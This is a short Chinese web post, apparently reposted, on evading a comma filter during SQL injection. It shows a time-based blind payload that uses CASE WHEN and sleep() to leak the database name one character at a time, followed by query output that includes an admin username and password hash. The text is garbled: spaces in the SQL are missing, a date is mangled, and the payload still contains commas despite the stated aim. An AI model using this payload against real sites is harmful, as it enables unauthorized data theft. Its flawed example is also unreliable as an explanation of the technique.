逗号：sql注入过滤逗号如何解决

SQL注入过滤逗号如何解决

sql注入过滤逗号的解决方法：

通过case when then绕过，例如：

mysql>select*fromlbcms_adminwhereadminnamelike"%a%"unionselect1,2,3,4,5,6,7,casewhensubstr(database()from1for1)='l'thensleep(3)else0end;
+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+
|ID|adminName|adminPassWord|adminLov|adminConfig|adminClass|adminLock|adminDate|
+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+
|1|admin|a797ba2993304483f0d180e25d14319a|520||NULL|SgrRUQ|2010-04⑴400:00:00|
|1|2|3|4|5|6|7|0|
+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+

2 rows in set (3.00 sec)

本文来源：https://www.yuntue.com/post/60650.html | 云服务器网，转载请注明出处！